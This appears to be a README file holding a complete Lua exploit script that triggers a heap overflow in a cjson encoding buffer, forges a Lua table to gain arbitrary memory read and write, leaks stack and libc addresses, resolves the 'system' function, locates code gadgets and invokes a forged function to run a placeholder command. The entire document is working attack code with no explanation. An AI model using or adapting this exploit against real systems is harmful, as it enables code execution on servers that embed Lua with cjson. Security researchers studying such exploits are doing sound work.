README.md
Rendering markdown...
local n_expand = 5462
local n_spray = 0x10000
local string_overhead = 24 + 1 + 8 -- sizeof(TString): 24, NULL terminator: 1, malloc chunk overhead: 8
local LUA_TNIL = 0
local LUA_TBOOLEAN = 1
local LUA_TLIGHTUSERDATA = 2
local LUA_TNUMBER = 3
local LUA_TSTRING = 4
local LUA_TTABLE = 5
local LUA_TFUNCTION = 6
local LUA_TUSERDATA = 7
local LUA_TTHREAD = 8
local function exploit()
---------------
-- Utilities --
---------------
local function p64(val)
-- 0xcafebabe --> "\xbe\xba\xfe\xca\x00\x00\x00\x00"
local s = ""
for i = 0, 7 do
s = s .. string.char(val % 0x100)
val = math.floor(val / 0x100)
end
return s
end
local function addrof(obj)
local s = tostring(obj)
if s:sub(1, 1) == "t" then
-- "table: 0xdeadbeef" --> 0xdeadbeef
return tonumber(s:sub(8, s:len()))
else
-- "function: 0xdeadbeef" --> 0xdeadbeef
return tonumber(s:sub(11, s:len()))
end
end
local function bytes_to_double(data)
-- #data == 8
return struct.unpack('d', data)
end
local function double_to_int(data)
-- #data == 8
return struct.unpack('L', struct.pack('d', data))
end
local function int_to_double(data)
-- #data == 8
return struct.unpack('d', struct.pack('L', data))
end
--
-- Avoid GC
--
local refs = {}
local refs_i = 1
for i=1, 100000 do
refs[i] = 0
end
--
-- Make 0x40000000 bytes string
--
local b = ''
local number_strings = {}
for i=1,0x40000 do number_strings[i] = string.format("%08x", i) end
b = table.concat(number_strings)
for i=1, 2 do
b = b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b
end
local string_source = b;
--
-- Get the "low" address of heap
--
local heap_addr_leaker = {}
local fake_array_base = addrof(heap_addr_leaker)
-- error(("fake_array_base: %x"):format(fake_array_base))
--
-- Allocate an array used for AAR/AAW
--
local owow_array1 = nil
local owow_array1_addr = nil
for i=1, 100 do
local _arr = {}
local _addr = addrof(_arr)
refs[refs_i] = _arr
refs_i = refs_i + 1
if _addr > fake_array_base then
owow_array1 = _arr
owow_array1_addr = _addr
break
end
end
if owow_array1 == nil then
error("failed to allocate owow_array1 behind fake_array_base")
end
for i=1,10000 do
owow_array1[i] = 0
end
-- error(("owow_array1_addr: %x"):format(owow_array1_addr))
--
-- Create a fake table object
--
local fake_table_template = (
"SSSSSSSSFF" -- (pad for address 0xXXXXXX2'2')
.. "\000\000\000\000\000\000\000\000" -- *next
.. "\005" -- tt (LUA_TTABLE)
.. "\001" -- marked
.. "\000" -- flags
.. "\000\000\000\000\000"
.. "\000\000\000\000\000\000\000\000" -- _padding_
.. "\000\000\000\000\000\000\000\000" -- *metatable
.. p64(fake_array_base) -- *array --> low heap address
.. "\000\000\000\000\000\000\000\000" -- *node
.. "\000\000\000\000\000\000\000\000" -- *lastfree
.. "\000\000\000\000\000\000\000\000" -- *gclist
.. "\255\255\255\127\000\000\000\000" -- sizearray
)
if #fake_table_template ~= 82 then
error(#fake_table_template)
error("DO NOT CHANGE LENGTH")
end
-- This object will be used later for arbitrary addrof/fakeobj
local leaker_array = {0, 0}
-- error(("leaker_array: %s"):format(tostring(leaker_array)))
collectgarbage()
--
-- Prepare heap expander
--
local heap_expand = {}
for i = 1, n_expand do
heap_expand[i] = 0
end
-- Prepare BOF payload
-- ==[overflow]==>
-- ----+-----------------+
-- | victim chunk |
-- ... | size | data |
-- ----+-----------------+
-- ow_offset |-8 |0
local ow = "abcdefghijklmnop"
local ow_offset = -16
local evil = string.sub(string_source, 1, n_expand * 0x10000 + 0x1ff90 + 0x4010 + ow_offset - 1) .. ow -- Note: '"' (1 byte) appended.
if #evil * 6 < 0x80000000 then
error("too short")
end
-- error(("#evil: %d"):format(#evil))
--
-- Prepare fake table & victim table
--
local fakes_s = {}
local fakes_t = {}
local fakes_num = 100
for i=1,fakes_num do
fakes_s[i] = 0
fakes_t[i] = 0
end
for i=1,fakes_num do
fakes_s[i] = fake_table_template .. number_strings[i]
fakes_t[i] = {}
end
local target_ptr = nil
for i=fakes_num,1,-1 do
-- 0xXXXX22 fake table
-- 0xXXXX80 table
-- Note: Difference of addresses depends on #fakes_s[i]. DO NOT change the length
if tostring(fakes_t[i]):sub(-2) == "80" then
target_ptr = fakes_t[i]
break
end
end
-- error(("target: %s"):format(tostring(target_ptr)))
--
-- Make these arrays later.
--
local spray_holder = {}
for i=1,128 do
spray_holder[i] = {}
end
-- error(("spray_holder: %s"):format(tostring(spray_holder)))
--
-- Flush allocator caches
--
for i=1,0x42 do
for j=1,200 do -- To increase reliability, make more iterations.
refs[refs_i] = string.sub(string_source, 8*(j-1)+1, 8*(j-1)+1 + math.max(0, i*0x10 - string_overhead) - 1)
refs_i = refs_i + 1
end
end
for i = 1, 256 do
refs[refs_i] = { string_source:byte(1, 0x1000 - 1 - 5) }
refs_i = refs_i + 1
end
--
-- Allocate encode_buf from top. (actual chunk size: 0x1ff90)
--
cjson.encode_keep_buffer('on')
local top = string.sub(string_source, 0, 0x4000 - string_overhead - 1)
local result = cjson.encode(top) -- Note: this allocates 0x4010 bytes for return value.
--
-- Expand heap to avoid crash
--
for i = 1, n_expand do
-- alloc chunk 0x10000
-- heap_expand[i] = string.sub(string_source, 1 + 8*(i-1), 1 + 8*(i-1) + 0x10000 - string_overhead - 1)
-- [ALT] alloc chunk 0x50 + 0xffb0
heap_expand[i] = { string_source:byte(1, 0x1000 - 1 - 5) }
end
--- Now the objects align like the figure below hopefully
--- +------------+----------------------+----------------+
--- | encode_buf | ... garbage data ... | sprayed object |
--- +------------+----------------------+----------------+
for i=1,#spray_holder do
spray_holder[i][1] = target_ptr
end
--
-- Trigger vulnerability: Heap overflow on encode_buf
--
refs[refs_i] = cjson.encode(evil)
refs_i = refs_i + 1
--
-- Find the modified object from sprayed objects
--
local fake_array = nil
for i=1,#spray_holder do
-- spray_holder[i][1][1] = 0x1337
local obj = spray_holder[i][1]
if tostring(obj):sub(-2) == "22" then
fake_array = obj
-- error(("found: %d"):format(i))
break
end
end
if fake_array == nil then
error("Bad luck...")
end
--
-- Make semi-AAW/AAR.
--
-- error(("Table of fake array: %s"):format(tostring(fake_array)))
-- overwrite array
local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
-- error(("ofs: %d"):format(ofs))
-- error(("data: %d"):format(struct.unpack('d', p64(fake_array_base - 8))))
fake_array[1 + ofs] = struct.unpack('d', p64(fake_array_base - 8))
-- overwrite array
local ofs = math.floor((owow_array1_addr + 0x28 - (fake_array_base-8)) / 0x10)
owow_array1[1 + ofs] = 0
-- overwrite size
local ofs = math.floor((owow_array1_addr + 0x40 - fake_array_base) / 0x10)
fake_array[1 + ofs] = bytes_to_double("\255\255\255\127\000\000\000\000")
local aaw0_base = fake_array_base - 8
local aaw8_base = fake_array_base
local aaw0_array = owow_array1
local aaw8_array = fake_array
-- error(("Table of fake array: %s"):format(tostring(fake_array)))
local function semi_aaw(addr, value)
-- Warning: This will write 0x03 (qword) tag at addr + 8.
local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
fake_array[1 + ofs] = struct.unpack('d', p64(addr))
owow_array1[1] = value
end
local function semi_aar(addr)
-- Warning: This requires 0x03 (qword) tag at addr + 8.
local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
fake_array[1 + ofs] = struct.unpack('d', p64(addr))
return owow_array1[1]
end
-- error("[+] semi-AAR/AAW created.")
--
-- Leak *array of leaker_array
--
semi_aaw(addrof(leaker_array) + 0x28, int_to_double(3)) -- LUA_TNUMBER
local leaker_array_array_addr = double_to_int(semi_aar(addrof(leaker_array) + 0x20)) -- leaker_array->array
--
-- addrof() for any object
--
local function addrof(obj)
leaker_array[1] = obj
semi_aaw(leaker_array_array_addr + 8, int_to_double(3))
return double_to_int(semi_aar(leaker_array_array_addr))
end
local function fakeobj(addr, tt)
semi_aaw(leaker_array_array_addr, int_to_double(addr))
semi_aaw(leaker_array_array_addr + 8, int_to_double(tt))
return leaker_array[1]
end
--
-- Leaks
--
-- Increase string size to 0x100000000000000
-- Increase string size to 0x300000000000
local leaker_s = "Hello"
-- semi_aaw(addrof(leaker_s) + 16 + 7, int_to_double(0x1))
semi_aaw(addrof(leaker_s) + 16, int_to_double(0x300000000000))
-- error("leaker: " .. string.format("0x%x 0x%x", addrof(leaker_s), #leaker_s))
local function can_read(addr)
return addr - (addrof(leaker_s) + 22 + 1) >= 0
end
local function read_str_at(addr, size)
local start = addr - (addrof(leaker_s) + 22 + 1)
return leaker_s:sub(start, start + size - 1)
end
local function read_i64_at(addr)
return struct.unpack('<L', read_str_at(addr, 8))
end
local function read_i32_at(addr)
return struct.unpack('<I', read_str_at(addr, 4))
end
local function find_libc_base(leak)
leak = leak - (leak % 0x1000)
-- while read_i64_at(leak) ~= 0x03010102464c4580 do
while read_i32_at(leak) ~= 0x464c457f do
leak = leak - 0x1000
end
return leak
end
local function find_dynamic_phdr(elf_base)
local phead = elf_base + read_i64_at(elf_base + 32)
local phnum = read_i64_at(elf_base + 56) % 0x10000
for i=0, phnum do
if (read_i64_at(phead + 0) % 0x100000000) == 2 then
break
end
phead = phead + 56
end
local dynamic = read_i64_at(phead + 16)
if dynamic > 0 and dynamic < 0x400000 then
dynamic = dynamic + elf_base
end
return dynamic
end
local function find_dt(elf_base, dynamic, tag)
while true do
local d_tag = read_i64_at(dynamic + 0)
if d_tag == 0 then
return 0
end
if d_tag == tag then
break
end
dynamic = dynamic + 16
end
local ptr = read_i64_at(dynamic + 8)
if ptr > 0 and ptr < 0x400000 then
ptr = ptr + elf_base
end
return ptr
end
local function symbol_to_gnu_hash(symbol)
local h = 5381
for i = 1, #symbol do
h = (h * 33 + string.byte(symbol, i)) % 0x100000000
end
return h
end
local function resolve_symbol_gnu(libc_leak, symbol)
local elf_base = find_libc_base(libc_leak)
local dynamic = find_dynamic_phdr(elf_base)
local gnu_hash = find_dt(elf_base, dynamic, 0x6ffffef5) -- DT_GNU_HASH
local strtab = find_dt(elf_base, dynamic, 5) -- DT_STRTAB
local symtab = find_dt(elf_base, dynamic, 6)
local sym_hash = symbol_to_gnu_hash(symbol)
-- error("libc base: " .. string.format("0x%x", libc_base))
-- error("dynamic: " .. string.format("0x%x", dynamic))
-- error("gnu_hash, strtab, symtab: " .. string.format("0x%x, 0x%x, 0x%x", gnu_hash, strtab, symtab))
-- error(symbol .. " " .. string.format("0x%x", sym_hash)) -- DT_SYMTAB
local nbuckets = read_i32_at(gnu_hash + 0)
local symndx = read_i32_at(gnu_hash + 4)
local maskwords = read_i32_at(gnu_hash + 8)
local buckets = gnu_hash + 16 + ((64 / 8) * maskwords)
local chains = buckets + (4 * nbuckets)
local bucket = sym_hash % nbuckets
local ndx = read_i32_at(buckets + bucket * 4)
if ndx == 0 then
return 0
end
local chain = chains + 4 * (ndx - symndx)
for i=0,0x1000 do
local sym_hash2 = read_i32_at(chain + i * 4)
if bit.band(sym_hash, 0xfffffffe) == bit.band(sym_hash2, 0xfffffffe) then
-- if sym_hash == sym_hash2 then
local sym = symtab + (24 * (ndx + i))
return elf_base + read_i64_at(sym + 8)
end
end
return 0
end
-- local l = read_i64_at(0x7ffff7e23010)
-- error("leak test: " .. string.format("0x%x", l))
local stack_leak = 0
local libc_leak = 0
local coro = 'xxx'
local coro_fn = function()
local coro_addr = addrof(coro)
stack_leak = read_i64_at(coro_addr + 0xa8)
-- libc_leak = read_i64_at(stack_leak + 0x88)
local i = 0
while libc_leak == 0 do
local cand = read_i64_at(stack_leak + i * 8)
i = i + 1
if cand > 0x7f0000000000 and cand < 0x800000000000 then
libc_leak = cand
coroutine.yield()
end
end
end
coro = coroutine.create(coro_fn)
while not can_read(addrof(coro)) do
coro = coroutine.create(coro_fn)
end
coroutine.resume(coro)
-- error("stack_leak / libc_leak at " .. string.format("0x%x, 0x%x", stack_leak, libc_leak))
local system_addr = resolve_symbol_gnu(libc_leak, "system")
-- error("system at " .. string.format("0x%x", system_addr))
local libc_base = find_libc_base(libc_leak)
local finder = read_str_at(libc_base, 0x150000)
-- mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10];
local start_index, end_index = string.find(finder, "\72\139\56\72\139\71\56\255\80\16")
local gadget1 = libc_base + start_index - 1
-- error("gadget1 at " .. string.format("0x%x", gadget1))
-- call qword ptr [rax + 0x18];
local start_index, end_index = string.find(finder, "\255\80\24")
local gadget2 = libc_base + start_index - 1
-- error("gadget2 at " .. string.format("0x%x", gadget1))
local ptr_ptr = (p64(gadget2) .. p64(system_addr))
local cmd = "[CMD]"
local rdi = (
cmd
.. string.rep("\0", 56-#cmd)
.. p64(addrof(ptr_ptr) + 0x18 - 0x10)
.. p64(0)
)
local fake_function = (
p64(addrof(rdi) + 0x18) -- 00h
.. p64(0x010106)
.. p64(0)
.. p64(0)
.. p64(gadget1)
.. p64(0)
.. p64(0)
.. p64(0)
)
local fake_function = fakeobj(addrof(fake_function) + 0x18, 6)
fake_function()
end
exploit()